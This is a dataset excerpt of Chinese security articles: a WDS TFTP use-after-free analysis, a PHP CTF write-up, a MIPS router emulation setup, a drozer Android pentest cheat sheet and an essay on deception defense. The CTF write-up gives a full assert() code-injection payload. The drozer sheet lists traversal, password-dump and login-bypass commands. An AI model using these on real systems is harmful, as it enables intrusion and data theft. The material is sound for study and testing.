text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# PXE Dust：Windows Servers Deployment Services漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/pxe-dust-finding-a-vulnerability-in-windows-servers-deployment-services/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
许多大型组织会使用Windows Deployment
Services（WDS，Windows部署服务）在新主机上安装自定义操作系统。用户可以通过LAN访问Windows Deployment
Services，获取相关软件。WDS可以针对每个新的网络单元确定操作系统以及相关的程序及服务。
在这种场景下，如果攻击者可以破坏WDS服务器，修改服务器以便控制每台新主机的内容，然后在主机上部署自己的恶意软件，显然会造成非常严重的后果。
本文分析了我们在WDS架构上的一些研究成果，介绍了我们利用该漏洞的一些探索过程。
## 二、Windows Deployment Services
WDS是微软针对基于网络安装的Windows操作系统提出的一个解决方案。WDS使用了Windows Imaging
（WIM）格式的磁盘映像，微软从Windows Server 2008（32位及64位）开始正式引入WDS角色。
WDS是一个复杂的系统，目前我们还没有完全理解其整体架构。在本次研究中，我们主要分析了WDS在新安装环境中的具体行为，因为这种预认证协商过程一直以来都是比较吸引攻击者目光的一种攻击方式。
在部署完整的Windows映像之前，WDS必须提供一些网络启动策略。为了完成该任务，WDS使用了PXE（Preboot eXecution
Environment，预引导执行环境）服务器。PXE是Intel创建的一个标准，用来在引导固件中建立一套通用的预引导（pre-boot）服务，最终目标是使客户端能够执行网络引导操作，接收来自网络启动服务器的NBP（Network Boot
Program，网络启动程序）。PXE服务器会使用TFTP（Trivial File Transfer Protocol，简单文件传输协议）来传输NBP。
TFTP是基于UDP/IP协议上的一个简单文件传输协议，端口号为69。由于TFTP架构比较简单，代码量也比较小，因此是各种网络启动策略（如BOOTP、BSDP以及PXE）在初始阶段的首选协议。然而，TFTP缺乏FTP协议所具备的许多高级功能，比如无法列出、删除或者重命名文件或目录，也不支持用户认证，该协议只支持读写功能。目前，TFTP已经很少用于互联网传输场景，主要用于LAN使用场景。基于这些因素，我们将研究目标转向这个协议。
## 三、模糊测试
我们首先要做的就是使用[Boofuzz](https://github.com/jtpereyda/boofuzz)来创建一个TFTP dumb
fuzzer。
Boofuzz是[Sulley](https://github.com/OpenRCE/sulley)模糊测试框架的继任者，安装起来非常简单，相关文档也非常丰富，并且由于Boofuzz语法简单，因此将相关的RFC转换成[模糊测试脚本](https://github.com/CheckPointSW/Cyber-Research/blob/master/Vulnerability/PXE_Dust/tftp-sulley-fuzzer.py)也不是一件难事。
`Tftp.py`定义了协议语义以及待模糊测试的字段。由于这个fuzzer非常通用，我们可以改造代码以适配任何TFTP的具体实现，我们也鼓励其他研究人员采用这种方式，避免重复造轮子。
当fuzzer在运行时，我们手动逆向了`wdstftp.dll`中服务端实现代码，这两种办法往往能相互补充。
## 四、wdstftp.dll
逆向分析完成后，我们开始检查`CTftp::ParseRequest`中实现的文件读取机制。前面提到过，这种协议并没有实现太多复杂的功能，因此这是个非常好的切入点。
服务端会在`CTftpPacket::ParseRequest`中处理TFTP Read
Requests（RRQ，TFTP读取请求）。验证客户端所请求的文件的确存在于PXE根目录中后，服务端会将其读入一个`CTptReadFile::CacheBlock`结构中。
图1. CacheBlock结构
服务端通过一个链表来管理这些`CacheBlocks`，以异步方式调用[ReadFile](https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-readfile)，并将`CTptReadFile::_IOCompletionCallback`设置为回调函数。
图2. ReadFile对应的回调函数
目前为止一切正常。然而，接下来我们注意到一个非常奇怪的行为：似乎`CacheBlocks`链表的大小有限，只有2个节点？
图3. maxCacheBlocks = 2
在下图中我们可以看到，当cache blocks的数量超过2时，最后一个节点会被删除。
图4. 释放尾部节点
了解TFTP协议的这个特征后，再配合`blksize`和`windowsize`选项的使用，我们应该可以构造一个请求，在收到确认（acknowledgement）数据包前生成两个以上cache
blocks。如果一切顺利并且把握好时机，某个cacheblock在被`CTptReadFile::_IOCompletionCallback`回调函数使用前就会被释放掉。
图5. windbg中出现异常
可以看到`RAX`现在指向的是已释放的内存，这样我们就在Windows Deployment Services中找到了一个UAC（释放后重用）漏洞。
这个bug看起来非常普通，为什么我们的fuzzer没有找到呢？
原因在于Sulley框架每次只能fuzz一个字段，而我们的请求永远不会延伸到如此深的路径。这对未来fuzzer的开发也有借鉴意义：一方面我们希望构造的报文尽可能有效，不会被解析器拒绝；另一方面，如果报文过于正确，我们可能不会发现潜在的bug。
## 五、利用方法
由于这是一个可远程触发、无需身份认证并且高权限的Windows服务端bug，因此我们可以将其标记为严重漏洞。
通常情况下，在利用UAF漏洞时，我们会去尝试分配一个不同的对象（大小类似）或者处于不同状态的一个类似的对象，然后在两者之间造成某种混乱。
我们检查了进程堆以便寻找能在已释放空间分配对象的方法。
事实证明，WDS使用了若干个堆，并且我们的堆会被`wdstftp.dll`、`wdssrv.dll`以及`wdsmc.dll`共享使用。
虽然`wdstftp.dll`支持某些非常灵活的分配方式（如[TFTP
Error](https://tools.ietf.org/html/rfc1350#page-8)报文中的分配方式），但会将ASCII转换为Unicode。
图6. Unicode POC
这对POC来说已经是非常好的利用原语，但为了构造可用的payload，我们还需要dereference某些指针。
`wdssrv.dll`也提供了一个分配原语机制，该dll公开了一个RPC接口，可以用来远程调用WDS服务器所提供的服务。
根据该协议的程序特征以及非常丰富的[官方文档](https://msdn.microsoft.com/en-us/library/dd541214.aspx)，我们似乎很有希望能成功利用漏洞。
在寻找攻击者可控的分配空间时，我们找到了`CRpcHandler::OnRecvRequest`。顾名思义，这个RPC处理程序会先对RPC请求执行初始解析操作，然后再将这些请求插入队列中，以便后续函数处理。不幸的是，后续函数并没有共享我们的堆，因此我们的操作范围仅限于这个处理函数。
为了使用被释放后的内存，我们需要使用相同的堆bucket（size = 0x5c-0x78）。
在这个处理函数中，唯一的分配操作位于`CMemoryBuffer::Initialize`中。
图7. RPC分配原语
我们可以使用如下脚本执行成功的分配操作，命中目标bucket。
图8. RPC POC
然而，显然结构中某些字段（最重要的是`CacheBlocks`的`callbackCtx`指针）会保持不变（没有初始化）。
图9. 使用RPC POC时的内存布局
如果我们进一步扩大PRC
payload，由于`CMemoryBuffer::Initialize`中会计算size，因此我们会被分配到错误的bucket中。
我们的思路是判断是否可以使用能够控制的`CacheBlocks`字段来做些改变。
不幸的是，经过进一步逆向分析后，我们发现`CTftpReader`实际上并没有使用这些字段，这不是个好消息。
为了利用这个bug，我们尝试了另一个方法。我们尝试重新利用这个bug，利用该bug使服务器泄露重要的信息。在正常场景中，服务端会在`CacheBlock`上调用`IOCompletionCallback`（`CacheBlock`中包含文件的内容），并将相应内容返回给我们。通过植入“全新的”
`CacheBlock`后（`CacheBlock`尚未包含文件内容），我们希望服务端能将新的`CacheBlock`的未初始化内容发送给我们，这样就能构造信息泄露场景。
在这种竞争条件下，经过多次尝试，我们还是会收到部分文件内容，并没有看到未初始化的内存信息。我们猜测如果服务端较为繁忙，需要处理大量的文件读写请求，那么读取我们的TFTP映像速度会更慢，因此可能会提高我们成功的概率。
## 六、总结
WDS是一个非常流行的Windows服务器服务，广泛用于镜像的安装部署。该服务的底层PXE服务器存在一个严重的UAF漏洞，可以被远程触发，有可能会被未经身份认证的攻击者使用。
我们向微软报告了该漏洞，微软为该漏洞分配的编号为CVE-2018-8476，标为严重漏洞，声明Windows Server 2008
SP2以上操作系统可能存在代码执行风险。
由于时间限制，我们没有继续寻找漏洞利用方法，但Check Point Research和微软都认为该漏洞很有可能会被攻击者成功利用。
Check Point IPS解决方案可以防护该威胁：Microsoft Windows Deployment Services TFTP Server
Code Execution (CVE-2018-8476)。 | 社区文章 |
题目描述
> PHP is a popular general-purpose scripting language that is especially
> suited to web development.
>
> Fast, flexible and pragmatic, PHP powers everything from your blog to the
> most popular websites in the world.
>
> Can you untangle this mess?!
源码
<?php
require_once('flag.php');
error_reporting(0);
if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
echo "Hello Hacker! Have a look around.\n";
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
if(strlen($k2) == $bb){
if(preg_match('/^\d+＄/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
$b=1;//;"b"=a$;"2" = b
if($$a !== $k1){
die("lel no\n");
}
// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
echo "Good Job ;)";
// TODO
// echo $flag;
大致思路如下所示
msg bypassed
//php://input
k1==>key1 bypassed
//key1=1337
key2 bypassed
//为了能过通过get传入cc参数
$$a!==$k1 bypassed
//\u202e
//$b=1;//;"b"=a$;"2" = b
//$k1=2
$cc bypassed
//array bypassed
$bb 全局变量覆盖
//注释后print flag
首先第一步进行msg bypassed
发现也可以用这种方法进行绕过
msg=data://text/plain,Hello%20Challenge!
参考链接
[data://](http://php.net/manual/zh/wrappers.data.php)
然后进行k1==》key1 bypassed
ubuntu安装php环境进行测试
删除所有的php包
sudo apt-get purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "`
添加PPA源
sudo add-apt-repository ppa:ondrej/php
安装PHP版本
sudo apt-get update
sudo apt-get install php5.6
运行php shell环境
php -a
进行测试
php > $cc=1337;
php > $k1='1337';
php > var_dump(intval($k1) !== $cc || $k1 === $cc);
bool(false)
bypassed
然后来到这题的亮点，在于$$a!==$k1，也就是如下代码
$b=1;//;"b"=a$;"2" = b
if($$a !== $k1){
die("lel no\n");
}
这里有一个小trick，参考 [RTLO Trick](https://rawsec.ml/en/2-less-known-tricks-spoofing-extensions/#rtlo-trick)
大致意思就是在文本前插入\u202e就会反向输出后续的字符
例如
//file.txt.exe
//unicode编码
\u0066\u0069\u006c\u0065\u002e\u0074\u0078\u0074\u002e\u0065\u0078\u0065
//插入\u202e
\u0066\u0069\u006c\u0065\u002e\u202e\u0074\u0078\u0074\u002e\u0065\u0078\u0065
//unicode解码
//file.txt.exe
也可以通过鼠标移动发现他是逆序的，从而逆推出代码
这里的代码示意如下
$b=1;//;"b"=a$;"2" = b
$b=1;//;"b"=a$;"2" = b
故构造$k1=2即可bypassed
然后来到
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
然后为了能get传参cc，我们必须bypassed 这一段
if(strlen($k2) == $bb){
if(preg_match('/^\d+＄/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
这里的$是美元符号，占三个字节，编码为\xEF\xBC\x84
可以看到这里构造的key2必须满足以美元符号结尾，且必须为非数字类型，且key2==$cc (1337)
php > $k2='000000000000000000000000000000000001337＄';
php > $bb=42;
php > var_dump(strlen($k2) == $bb);
bool(true)
php > var_dump(preg_match('/^\d+＄/', $k2) && !is_numeric($k2));
bool(true)
php > var_dump($k2==$cc);
bool(true)
接下来就是简单的array bypassed
php > var_dump(strlen(sha1("a")));
int(40)
php >
var_dump(substr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1231231aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",42));
string(40) "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
php > var_dump(substr([], 42));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(sha1([]));
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(substr([], 42) === sha1([]));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)
php > var_dump(substr([], 42) === sha1([]));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)
之后的foreach含义即为get获取的参数覆盖全局变量
php > function action($a){foreach ($a as $lel => $hack){$$lel = $hack;echo $$lel;}}
php > $c=['123','456'];
php > action($c);
123456
可以看到
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
这里参考 [assert_options](http://php.net/manual/en/function.assert-options.php)
利用
assert("$bb == $cc");
通过注释掉后面的==$cc进行文件读取，构造
bb=show_source('flag.php');//
//构成
assert("show_source('flag.php');// == $cc");
最终payload为
/?msg=data://text/plain,Hello%20Challenge!&key1=1337&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=show_source('flag.php');// | 社区文章 |
### 前言
* * *
本文由 **本人** 首发于 先知安全技术社区： <https://xianzhi.aliyun.com/forum/user/5274>
* * *
正式进入路由器的世界了。感觉路由器这块就是固件提取，运行环境修复比较麻烦，其他部分和一般的 pwn 差不多。由于大多数路由器是 mips
架构的，本文就以搭建 `MIPS运行、调试平台` 为例介绍环境的搭建。其他架构类似。
### 正文
#### 安装 与 配置 Qemu:
apt-get install qemu
apt-get install qemu-user-static
apt-get install qemu-system
apt-get install uml-utilities
apt-get install bridge-utils
##### 配置网络
###### 方法一(推荐)
创建网桥，名字是 `virbr0`
sudo brctl added virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
创建 `tap` 接口，名字为 `tap0`，并添加到网桥
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
然后运行
sudo qemu-system-mips -M malta -kernel mips_vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
然后在 虚拟机里面设置 `ip`
sudo ifconfig eth0 192.168.122.12/24 up
**来源**
https://blog.csdn.net/RichardYSteven/article/details/54807927
###### 方法二
修改 `/etc/network/interfaces` :
auto lo
iface lo inet loopback
# ubuntu 16.04的系统用ens33代替eth0
auto eth0
iface eth0 inet manual
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_stp off
bridge_maxwait 1
修改 `/etc/qemu-ifup` :
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3
增加权限 `chmod a+x /etc/qemu-ifup`.
重启网络服务
/etc/init.d/networking restart
**下载与运行qemu的镜像**
_uclibc交叉编译工具链 和 qemu系统镜像_
https://www.uclibc.org/downloads/binaries/0.9.30.1/
_运行示例（解压，运行即可）_
sudo qemu-system-mips -M malta -nographic -no-reboot -kernel "zImage-mips" -hda "image-mips.ext2" -append "root=/dev/hda rw init=/usr/sbin/init.sh panic=1 PATH=/usr/bin console=ttyS0" -net nic -net tap -drive file=/tmp/share.img
_openwrt预先编译好的内核，mips小端_
https://downloads.openwrt.org/snapshots/trunk/malta/generic/
_运行_
sudo qemu-system-mipsel -kernel openwrt-malta-le-vmlinux-initramfs.elf -M malta -drive file=/tmp/share.img -net nic -net tap -nographic
**debian mips qemu镜像**
https://people.debian.org/~aurel32/qemu/mips/
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
时间比较长
#### 安装pwndbg
一个类似于 peda的gdb插件，支持多种架构，pwn最强gdb插件。用了它之后发现ida的调试简直渣渣。一张图说明一切。
安装的话按照github上的说明即可。
https://github.com/pwndbg/pwndbg
要用来调试MIPS的话，要安装
sudo apt install gdb-multiarch
然后按照正常的gdb使用就行。
#### 安装firmadyne
一个路由器运行环境，傻瓜化操作，但是无法调试......
https://github.com/firmadyne/firmadyne
#### 安装mipsrop插件
貌似其他的rop工具都不能检测处mips的 gadgets,这个不错。
https://github.com/devttys0/ida/tree/master/plugins/mipsrop
扔到ida的plug目录即可
#### 安装 PleaseROP 插件
jeb 2.3+ 的适用于arm , mips通用 rop gadgets搜索插件
[PleaseROP](https://github.com/pnfsoftware/PleaseROP)
下载后放到jeb根目录的 `coreplugins` 目录下，重新打开Jeb即可。
找到的结果可以在下面位置找到
#### binwalk完整安装
一定要安装完整的版本不然有些固件解不了。
http://blog.csdn.net/qq1084283172/article/details/65441110
#### gdbserver
各种平台的静态编译版本
https://github.com/mzpqnxow/embedded-toolkit
### 总结
很简单，就这样
参考链接：
<http://blog.csdn.net/qq1084283172/article/details/70176583>
注：
本文先发布于：<https://xianzhi.aliyun.com/forum/topic/1508/> | 社区文章 |
* **1、使用工具以及环境**
Win10
夜神模拟器：
python2
adb
drozer
agent.apk
* **2、工具安装**
Python2和adb需要设置环境变量
Drozer需安装在python2的Scripts目录下
把agent.apk安装到模拟器下
* **3、启动环境**
打开agent.apk进行监听
使用命令adb devices找到我们的模拟器设备
（如果找不到设备，则需要在模拟器bin的目录下启动cmd）
因devices 31415端口，使用adb进行端口转发
adb forward tcp:31415 tcp:31415
adb shell pm list package 查看所有包名
启动
drozer console connect
set PYTHONIOENCODING=UTF-8
run app.package.list
run app.package.list -f 包名
获取基本信息run app.package.info -a 包名
查看四大组件攻击面
利用暴露的activity实现登陆绕过
首先使用drozdr检测app中暴露的activity
run scanner.provider.finduris -a 包名，这里可以看到暴露的主件还是有不少：
调用服务组件： run app.service.start --action 服务名 --component 包名 服务名
调用activity组件: run app.activity.start --component 包名 组件名,可以用来检测登陆绕过漏洞
检测注入 run scanner.provider.injection -a com.mwr.example.sieve
查看是否存在数据泄露 run scanner.provider.finduris -a com.xxx.xzxx
检测目录遍历 run scanner.provider.traversal -a com.mwr.example.sieve
检测可以访问的URL： run scanner.provider.finduris -a 包名
查询URL的数据： run app.provider.query url
检测有没有拒绝服务漏洞：
发送空action: run app.broadcast.send --component 包名 广播名
发送空extras: run app.broadcast.send --action 广播名
* **基本测试命令：**
* 查找已安装应用程序的包名称
dz> run app.package.list -f Sieve
* 获取应用程序的清单
dz> run app.package.manifest com.mwr.example.sieve
* 获取攻击面
dz> run app.package.attacksurface com.mwr.example.sieve
* 检查导出的活动
dz> run app.activity.info -a com.mwr.example.sieve
* 检查启动意图（主要活动）
dz> run app.package.launchintent com.mwr.example.sieve
* 调用导出的活动
dz> run app.activity.start --component <package_name>
<full_activity_name></full_activity_name></package_name>
* 检查导出的内容提供者
dz> run app.provider.info -a com.mwr.example.sieve
* 查找内容 URI
dz> run app.provider.finduri com.mwr.example.sieve
* 如果在导出的内容提供程序中找到了 URI 路径，则使用以下命令运行该路径以查找任何有用的数据，（在筛选中，所有密码都被转储）
dz> run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords
* 将条目插入内容提供商数据库
dz> run app.provider.insert
content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3
--string service Facebook --string username tyrone --string password
zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email [email protected]
* 查找具有特定权限的应用
dz> run app.package.list -p android.permission.INSTALL_PACKAGES
* 查找使用特定 UID 运行的应用程序，在本例中为 System
dz> run app.package.list -u 1000
* 查找应用程序以查看特定的 MIME 类型
dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype
application/pdf
* 查找设备上的所有可浏览活动
dz> run scanner.activity.browsable
* **遍历**
* 使用内容提供程序读取外部文件
dz> run app.provider.read
content://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts
* 目录遍历以读取/sieve 中的数据库
dz> run app.provider.read
content://com.mwr.example.sieve.FileBackupProvider/../../../../data/data/com.mwr.example.sieve/databases/database.db
>database.db
* 自动化遍历
dz> run scanner.provider.traversal -a
content://com.mwr.example.sieve.FileBackupProvider
* **利用服务**
* 获取服务
dz> run app.service.info -a com.mwr.example.sieve
* 利用sieve中的handleMessage()函数（AuthService服务的代码分析）
dz> run app.service.send com.mwr.example.sieve
com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string
com.mwr.example.sieve.PIN 1337 --bundle-as-obj
在上面的请求中，PIN 1337可以被暴力破解。
请参阅 MAHH 第 211 页。
* 利用 CryptoService 加密消息dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj
* **利用广播接收器**
* 获取广播接收器
dz> run app.broadcast.info -a com.mwr.example.browser
* 如果应用程序希望广播接收器捕获意图，然后显示经过身份验证的活动，则只有在登录后才能生成该广播。但是在代码审查之后，攻击者可以使用 drozer 手动发送该意图。
示例广播接收器：
<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>
dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS
（第 217 页 - MAHH）</intent-filter>
* 使用广播接收器的意图嗅探/捕获意图，这些接收器用于其他广播接收器
dz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED
dz> run app.broadcast.sniff --action com.myapp.USER_LOGIN（发送广播的动作名称）
* **其他命令**
* 使用 drozer 模块查找 WebView 是否可利用
dz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.js
* **代码执行**
* 从剪贴板查看复制的文本
dz> run post.capture.clipboard
2.查看app是否允许备份数据
dz> run app.package.backup -f com.mwr.example.sieve
* 确定一个包是否可调试
dz> run app.package.debuggable -f sieve
如果它是可调试的，您可以作为该应用程序运行命令
shell@android:/ $ run-as com.mwr.example.sieve
* **反编译/编译/签名apk**
* 使用 apktool 将应用程序转换为 baksmali
$ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck
* 然后 grep 像“su”这样的字符串绕过根检查（发挥你的创造力）
* 再次编译应用程序：
$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
* 签署 apk：
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1
-keystoremykey.keystore rootcheck-modified.apk alias_name
注意：使用 jarsigner v1.6，更改版本为
$ sudo update-alternatives --config jarsigner
* * *
安装包签名
在Android中，包名相同的两个APK会被认为是同一个应用。当新版本覆盖旧版本时，签名证书必须一致，否则会被拒绝安装（即使开启了“允许未知来源的应用”）。如果APK没有使用自己的证书进行签名，将会失去对版本管理的主动权。本项检测是检测客户端是否经过恰当签名（正常情况下应用都应该是签名的，否则无法安装），签名是否符合规范。
测试步骤
打开cmd，进入到JDK的安装路径，C:\Program Files\Java\jdk1.8.0_111\bin，输入命令:
jarsigner.exe -verify APK文件路径
测试结果如下：
如上图，如果证书指纹与客户一致，说明测试结果为安全。
检测签名的字段是否正确标示客户端程序的来源和发布者身份，输入命令：
jarsigner.exe -verify -verbose -certs APK文件路径，若各个字段与预期的一致，则测试通过。
要说明的是，只有在使用直接客户的证书签名时，才认为安全。Debug证书、第三方（如开发方）证书等均认为存在风险。
manifest package
ApkAnalyser-敏感信息
一键提取安卓应用中可能存在的敏感信息
劫持检测：
HijackActivity
二次打包：
应用数据任意备份风险
allowBackup值设为true
应用程序调试风险
allowBackup值设为true
二次签名漏洞
首先删除应用本身的签名，接着使用另外的签名对应用进行重签名。安装并打开重新签名后的app，过程中未发生错误
边信道信息泄漏
观察日志，泄露敏感信息
adb logcat
代码反编译机制缺陷
将应用反编译成java代码，可进行代码注入、利用木马程序对应用进行恶意篡改行为。 | 社区文章 |
# 云舒：欺骗防御 未来已来
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：云舒（默安科技联合创始人兼CTO，资深网络安全研究人员）
## 序言
前两天拜读了思睿嘉得CEO
DJ的《真真假假的创新——RSAC2019之三》，写得非常好，也很佩服。我自从和小伙伴们开创默安科技以来，和业界的交流就少了很多，精力花在客户和产品上面了。但是读完DJ的文章之后，兴起了写点文字的想法。
DJ对威胁情报和欺骗防御两个方向提出了自己的观点：“威胁情报厂商无法独立存在达到规模盈利。未来发展有两条路可以走：一是全力投入做重产品，例如xDR；另一条是迈半步快速横移至其它领域，例如SIEM。”这一点我深表赞同。我认为当前威胁情报的使用者不应该是企业或者单位，而应该是安全公司。威胁情报需要借助安全公司的各种产品落地、海量查询次数，情报本身作为各种AI引擎后的补充说明。后续，可以做出更具业务属性和上层属性的威胁情报，一年查询1-2次，变成了类似安服的高级情报服务。总的来说，威胁情报要么卖得很便宜，可以海量查询；要么卖得超贵，二三十万查询一次。除此之外，只怕没有更好的选择。
关于欺骗防御，他认为“有些风头一时无两，还没经过什么雨打风吹，过两年自己就不见了；有些默默无闻少人关注，待到惊蛰一声，已然悄悄改变了整个行业格局。读者不妨想想，分析师前两年热炒的创新欺骗Deception产品，卖货可以，对安全行业的影响是不是可以忽略不计”，对于这句话，我只同意一半。目前欺骗防御的影响力确实不大，但是未来两年内一定会大起来。
## 为什么需要欺骗防御
我们先看一个故事。2017年安全咨询服务世界第一的德勤被黑客入侵，大量机密数据被偷。随后，安全研究人员发现德勤大量的代理服务器密码、VPN密码以及其它相关安全数据泄露到GitHub、Google+等SaaS服务平台。攻击者可能利用了这些数据，侵入德勤网络内部。在这次事故中，攻击者直接使用员工的VPN密码远程接入网络，然后在这个加密隧道下进行缓慢横向渗透，传统的APT检测防御设备有发现攻击的可能么？基本不可能。
传统的APT检测防御，我把它抽象成三个关键词：边界、点状、技术对抗。
传统的APT检测产品，更多的是依托于边界检测、边界防御，对进出的数据、文件进行还原，希望御敌于国门之外。但是在云计算时代，资产已经不仅仅是在物理范围之内，社交网络中员工暴露的邮件地址、SaaS平台上面分享的代码、云笔记里面记录的密码，都属于被保护的对象。以前的那种假设，“内部是安全的”，现阶段下是行不通的。10万PC，万分之一的几率被入侵，也可能有10台PC已经被黑客入侵了。组织内部还可能存在商业间谍，或者里应外合的攻击者。我们需要新的假设和新的理念——假设内部已经被入侵了，有潜伏者，我们的安全检测应该怎么做？Carbon
Black最新的报告指出：“不只是入侵，攻击者倾向于更长久地潜藏在网络中，已成为攻击者大政方针的一部分。”我们不能坚持“守住边界不失、防线不被突破”这种旧的理念，而欺骗防御一开始就是建立在内部有潜伏者的理念上并以此为基础而设计的。
点状，是由于APT产品的实施模式决定的。预算少时，部署一套在边界上；预算充足一些的，其它重要网段再分别部署一套。但是不管如何部署，有多么充足的预算，永远只是几个独立的“点”，对于内部的行为就很难掌控了，除非有谁能丧心病狂地把APT设备部署到每一台接入层交换机上。欺骗防御以传统蜜罐为原材料，通过各种新技术将蜜罐业务映射到每一个业务网络，甚至每一台主机上，在内部组成一个和真实业务混杂在一起不分彼此的巨大侦测网络，可以低成本地覆盖到每一个角落。
技术对抗，这是大多数技术人喜欢的点，也是我喜欢的东西。传统的加壳脱壳对抗、各种规则，发展到现在基于深度机器学习和AI技术，也发生了巨大的进步，做出了非常好的东西。但是我们是不是可以试一试另外的思路，想想不同层面的东西。我们要保护的系统有弱点，攻击者也是人，攻击是不是也有弱点？欺骗防御尝试把关注点从攻击上挪开，进而去关注攻击者本身。
攻击者通过扫描、通过GitHub发现了30个资产，并且其中有5个脆弱点，这些资产是真实的吗？这些脆弱点是真实的吗？人是有惰性的，不管攻击者通过什么逆天0day渗透进内网，人生地不熟，发现一个PC上记录着某个运维监控系统要不要去看看？发现PC内存有重要密码HASH要不要拿去登录？发现一个存在sql注入的OA系统要不要去看看？发现jenkins的RCE漏洞打不打？有容易入侵的方式不用，专门拿逆天0day去打一切系统？
欺骗防御避开了技术对抗这个关键， **回到人的角度看攻击行为** 。
## 欺骗防御的市场定位与趋势
从上文的描述其实可以看出来，我的判断是欺骗防御属于APT检测、红蓝对抗的一部分。凡是部署APT检测产品的地方，就需要部署欺骗防御系统。需要做红蓝对抗演练的地方，就需要部署欺骗防御系统。这里面也暗含了我的另外一个想法——欺骗防御不取代传统的APT检测产品，也不可能取代。
理想情况下，应该是边界上部署基于AI的APT检测设备，作为堂堂正正的御敌之师；业务内部，部署欺骗防御系统，作为合纵连横的腹黑心机。过去存在的APT市场有多大，欺骗防御存量市场就有多大。未来，还没有部署APT检测产品的地方，将会同时部署APT产品和欺骗防御产品，这是欺骗防御即将产生的新市场。除了企业内部传统的IT架构、云、IOT网络、工控网络，欺骗防御产品都将发挥巨大的作用。
我们2016年4月成立之后，同年9月发布了国内第一款欺骗防御产品。这几年我和不同的客户沟通后，已经感觉到了市场的趋势即将到来。所以，我敢断言，2022年之前，欺骗防御市场会极其兴旺。至于具体多大，需要专门的研究机构去研究，这不是我的专长。我通过多年的行业浸润，以自己的第六感敏锐地感觉到就已经够了。
## 欺骗防御产品的实施
欺骗防御产品，应该有四个关键点： **诱饵、融合、分析、溯源** 。
诱饵是攻击者在采集信息收集目标情报时发生作用，对攻击者进行欺骗。这里的信息采集可能发生在侵入之前，攻击者在GitHub、Pastebin等SaaS业务上收集的数据，也可能发生在攻击者已经在某些PC上植入远控，收集PC上面的各种浏览器记录、TXT文档、EML文件、RDP记录等等，甚至包括内存里面的密码hash。总得来说，诱饵是用来让潜伏在内部的黑客主动跳出来进行攻击从而暴露自己，是捕鼠器旁边沿路放置的小甜点。对攻击渗透越了解，对人性越了解，越能够做出更具迷惑性、更真实的诱饵。运用之妙，存乎一心。
